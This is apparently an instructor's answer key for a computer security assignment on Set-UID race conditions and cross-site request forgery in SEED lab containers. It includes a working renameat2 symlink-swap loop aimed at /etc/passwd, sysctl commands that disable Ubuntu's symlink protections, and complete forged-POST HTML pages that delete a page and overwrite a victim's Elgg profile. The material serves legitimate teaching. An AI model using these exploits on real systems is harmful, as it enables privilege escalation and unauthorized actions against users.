CSCI 191T – Computer Security

Assignment 3 Key: RaceCondition and CSRF   Due: 11/02/2022 11:59 PM

Instructions:

There are two sections in this assignment. For Section 1, answer all questions completely. For Section 2, execute the code (using files from Assignment3_Files.zip) and answer all questions.

The final submission is a single report (PDF file). You need to submit a detailed report, with:

Section 1 - Detailed answers and observations.

Section 2 - Screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Also list the important code snippets followed by explanation. **Simply attaching code or screenshot without any explanation will not receive credits.**

Warning: In the past, some students accidentally emptied the /etc/passwd file during the various race condition attacks (this could be caused by some race condition problems inside the OS kernel). If you lose the password file, you will not be able to log in again. To avoid this trouble, make a copy of the original password file or take a snapshot of the VM. This way, you can easily recover from the mishap.

Section 1

60 Points

1. (10 Points) Does the following Set-UID program have a race condition vulnerability? Why or why not?

```
if (!access("/etc/passwd", W_OK)) {
/* the real user has the write permission*/
f = open("/tmp/X", O_WRITE);
write_to_file(f);
}
else {
/* the real user does not have the write permission */
fprintf(stderr, "Permission denied\n");
}
```

   Key points:
   a. No there is no race condition vulnerability.
   b. As the access() call checks with the RUID, it will fail on /etc/passwd.
   c. The open call will not be triggered.

2. (10 Points) The least-privilege principle can be used to effectively defend against the race condition attacks discussed in this chapter. Can we use the same principle to defeat buffer-overflow attacks? Why or why not? Namely, before executing the vulnerable function, we disable the root privilege; after the vulnerable function returns, we enable the privilege back.

Key points:

a. The least privilege principle will work for race condition but will not work to counter the buffer-overflow attacks.
b. The race condition is mainly about having higher privileges in file access. Which is not the case with buffer-overflow attack.
c. The buffer overflow attack involves code injection/ execution of malicious code. Which means the code to escalate the privilege also can be executed.
d. Therefore, least privilege or disabling privileges will not work, the malicious code can simply add more instructions to enable the privileges.

3. (10 Points) Does the following privileged Set-UID program have a race condition problem? If so, where is the attack window? Please also describe how you would exploit this race condition window.

```
1      filename = "/tmp/XYZ";
2      fd = open (filename, O_RDWR);
3      status = access (filename, W_OK);
...
... (code omitted) ...
...
10     if (status == ACCESS_ALLOWED) {
11     write_to_file(fd);
12     } else {
13     fprintf(stderr, "Permission denied\n");
14     }
```

Key points:

a. The attack window is between Lines 2 and 3.
b. The attack window is not between lines 3 and 10, the open check and access check are done on lines 2 and 3. The variable ***status***, already has the result of the access check. It is merely being used in line (check is not carried out there).
c. To exploit this race condition, /tmp/xyz has to first point to /etc/passwd at the open() call.
d. Before the access() call, the attacker has to point /tmp/xyz to any world-writable file, like /dev/null. That makes the variable ***status*** , have the desired value.
e. When we are at line 10, the if statement is true and we can continue writing to file pointed to by fd, which is /etc/passwd.

4. (10 Points) Explain

a. Why the same-site cookie can help prevent CSRF attacks?

Key points:

- Browsers support a special attribute in cookies, called SameSite.
- The server sets the attribute to tell the browser to not attach certain cookies for cross-site requests.
- There are three values, **None, Strict** and **Lax**. **None** is always attached to all requests, **strict** is not attached to cross site request and **lax** is attached to cross site requests that were navigated to by the user.

- This helps the server recognize cross site requests and respond accordingly.

b. How a website can use secret token to prevent CSRF attacks, and why does it work?

Key points:

- The server creates a secret token (unique for each session) and embeds it into each web page.
- This value is also included in every request, created from these web pages.
- This value (that is sent with every request) is then checked on the server side to make sure it is not a malicious request.
- Request from a different origin (cross site) will not have access to the secret token value.

5. (15 Points) Using LiveHTTPHeader, we find out that the following POST request is used to send an HTTP request to www.example.com to delete a page owned by a user (only the owner of a page can delete the page).

```
http://www.example.com/delete.php
POST /delete.php HTTP/1.1
Host: www.example.com
...
Content-Length: 8
pageid=5
```

Construct a simple malicious web page, so when a victim visits this web page, a forged request will be launched against www.example.com to delete a page belonging to the user.

Key Points:

```
<html><body>
<script type=”text/javascript”>
window.onload=function forge_post()
{
var fields;
fields += “<input type = ‘hidden’ name=’pageid’ value=’5’>”
var p=document.createElement(“form”)
p.action= “http://www.example.com/delete.php”;
p.innerHTML=fields;
p.method=”post”;
document.body.appendChild(p);
p.submit();
}
</script>
</body></html>
```

6. (5 Points) Can we simply ask browsers not to attach any cookie for cross-site requests?

Key points:

a. A lot of the web interactions implicitly depend on the exchange of cookies. By just not attaching any cookies, most web interactions would be broken as cross-site request are very common.

b. The only issue if when the cross-site request is forged to look like a same-site request. Therefore, not attaching cookies is not the solution to avoid this.

Section 2

40 Points

1. (20Points) Task1: **Race Condition Vulnerability Lab**

Turning Off Countermeasures:

Ubuntu has a built-in protection against race condition attacks. This scheme works by restricting who can follow a symlink. According to the documentation, “symlinks in world-writable sticky directories (e.g./tmp) cannot be followed if the follower and directory owner do not match the symlink owner.” Ubuntu 20.04 introduces another security mechanism that prevents the root from writing to the files in /tmp that are owned by others. In this lab, we need to disable these protections. You can achieve that using the following commands:

```
// On Ubuntu 20.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0
```

Information :

In the attackproc.c file (in Assignment3_Files.zip).

We are using the unlink() and symlink() approach, we have a race condition in our attack program itself. This leads to the following problem which can prevent our attack from working.

If the attack program is context switched out right after it removes /tmp/XYZ (i.e., unlink()), but before it links the name to another file (i.e., symlink(). Remember, the action to remove the existing symbolic link and create a new one is not atomic (it involves two separate system calls), so if the context switch occurs in the middle (i.e., right after the removal of /tmp/XYZ), and the target Set-UID program gets a chance to run its fopen(fn, "a+") statement, it will create a new file with root being the owner. After that, your attack program can no longer make changes to /tmp/XYZ.

The solution:

To solve this problem, we need to make unlink() and symlink() atomic. Fortunately, there is a system call that allows us to achieve that. More accurately, it allows us to atomically swap two symbolic links. The following program first makes two symbolic links /tmp/XYZ and /tmp/ABC, and then using the `renameat2` system call to atomically switch them. This allows us to change what /tmp/XYZ points to without introducing any race condition.

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
unsigned int flags = RENAME_EXCHANGE;
unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
return 0;
}
```

Task 1 : Revise the attack program (attackproc.c) using this new strategy, and try your attack again. If everything is done correctly, your attack should succeed.

Key points:

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
  unsigned int flags = RENAME_EXCHANGE;
  unlink("/tmp/XYZ"); symlink("/dev/null",   "/tmp/XYZ");
  unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
  while(1){
    renameat2 (0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    usleep(10000);
  }
return 0;
```

}

2. (20Points) Task2: **CSRF**

The objective of this task is to understand the Cross-Site Request Forgery (CSRF) attack. A CSRF attack involves a victim user, a trusted site, and a malicious site. The victim user holds an active session with a trusted site while visiting a malicious site. The malicious site injects an HTTP request for the trusted site into the victim user session, causing damages.

We will be attacking a social networking web application using the CSRF attack. The open-source social networking application is called Elgg, which has already been installed in our VM. Elgg has countermeasures against CSRF, but we have turned them off.

Environment Setup:

We will use three websites. The first website is the vulnerable Elgg site accessible at www.seed-server.com. The second website is the attacker's malicious web site that is used for attacking Elgg. This web site is accessible via www.attacker32.com. The third website is used for the defense tasks, and its hostname is www.example32.com. We use containers to set up the lab environment.

In the Assignment3_Files.zip, locate the `docker-compose.yml` file, open a terminal in the location, and use `dcbuild` and `dcup` commands to setup the server and websites.
If you encounter problems when setting up the lab environment, please read the "Common Problems" section of the manual for potential solutions provided in links in assignment 1.

Elgg Web Application

We use an open-source web application called Elgg in this lab. Elgg is a web-based social-networking application. It is already set up in the provided container images. We use two containers, one running the web server (10.9.0.5) , and the other running the MySQL database (10.9.0.6). The IP addresses for these two containers are hardcoded in various places in the configuration, so **please do not change them from the docker-compose.yml file.**

The Elgg container. We host the Elgg web application using the Apache web server. The website setup is included in apache_elgg.conf inside the Elgg image folder. The configuration specifies the URL for the website and the folder where the web application code is stored.

```
<VirtualHost *:80>
      DocumentRoot /var/www/elgg
      ServerName www.seed-server.com
      <Directory /var/www/elgg>
```

```
            Options FollowSymlinks
            AllowOverride All
            Require all granted
      </Directory>
</VirtualHost>
```

The Attacker container. We use another container (10.9.0.105) for the attacker machine, which hosts a malicious website. The Apache configuration for this website is listed in the following:

```
<VirtualHost *:80>
      DocumentRoot /var/www/attacker
      ServerName www.attacker32.com
</VirtualHost>
```

Since we need to create web pages inside this container, for convenience, as well as for keeping the pages we have created, we mounted a folder (Labsetup/attacker on the hosting VM) to the container's /var/www/attacker folder, which is the DocumentRoot folder in our Apache configuration. Therefore, the web pages we put inside the attacker folder on the VM will be hosted by the attacker's website. We have already placed some code skeletons inside this folder.

DNS configuration. We access the Elgg website, the attacker website, and the defense site using their respective URLs. We need to add the following entries to the /etc/hosts file, so these hostnames are mapped to their corresponding IP addresses. You need to use the root privilege to change this file (using sudo). It should be noted that these names might have already been added to the file due to some other labs. If they are mapped to different IP addresses, the old entries must be removed.

```
10.9.0.5 www.seed-server.com
10.9.0.5 www.example32.com
10.9.0.105 www.attacker32.com
```

MySQL database. Containers are usually disposable, so once it is destroyed, all the data inside the containers are lost. For this lab, we do want to keep the data in the MySQL database, so we do not lose our work when we shutdown our container. To achieve this, we have mounted the mysql data folder on the host machine (inside Labsetup, it will be created after the MySQL container runs once) to the /var/lib/mysql folder inside the MySQL container. This folder is where MySQL stores its database. Therefore, even if the container is destroyed, data in the database are still kept. If you do want to start from a clean database, you can remove this folder:

```
$ sudo rm -rf mysql_data
```

User accounts. We have created several user accounts on the Elgg server; the user name and passwords are given in the following.

```
----------------------------
UserName | Password
----------------------------
admin | seedelgg
alice | seedalice
boby | seedboby
charlie | seedcharlie
samy | seedsamy
----------------------------
```

Task 2: Samy (a user in the social network) wants Alice (another user in the social network) to say “Samy is my Hero” in her profile (malicious activity).

Use the CSRF attack to achieve that goal (as Samy).

One way to do the attack is to post a message to Alice’s Elgg account, hoping that Alice will click the URL inside the message. This URL will lead Alice to your (i.e., Samy’s) malicious web site www.attacker32.com, where you can launch the CSRF attack. The objective of your attack is to modify the victim’s profile.

HINT: Modify the editprofile.html javascript (in Assignment3_Files.zip) to carry out this attack.

Key points:

- The editprofile.html file must be modified and copied on to the attackers website (using docker cp, explained in class).
- A message that contains the link to this external page must be sent to alice. Mainly, make the victim visit http://www.attacker32.com/editprofile.html
- When alice clicks on the link, she navigates to an external page, which runs the editprofile.html which in turn sends a post request to set the description to “Samy is my hero”.
- Contents of the new editprofile.html will be as follows

```
<html>

<body>

<h1>This page forges an HTTP POST request</h1>

<script type="text/javascript">


function forge_post()

{

   var fields;


   // The following are form entries need to be filled out by attackers.

   // The entries are made hidden, so the victim won't be able to see them.

   fields += "<input type='hidden' name='name' value='Alice'>";

   fields += "<input type='hidden' name='briefdescription' value='Samy is my hero!'>";

   fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
```

```
    fields += "<input type='hidden' name='guid' value='56'>"; // This should be Alice’s uid found by navigating to alice’s page and looking at the page source to find the page owner id.

    // Create a <form> element.

    var p = document.createElement("form");

    // Construct the form

    p.action = "http://www.seed-server.com/action/profile/edit"; // sending the post request to this url

    p.innerHTML = fields;

    p.method = "post";

    // Append the form to the current page.

    document.body.appendChild(p)

    // Submit the form

    p.submit();

}

// Invoke forge_post() after the page is loaded.

window.onload = function() { forge_post();}

</script>

</body>

</html>
```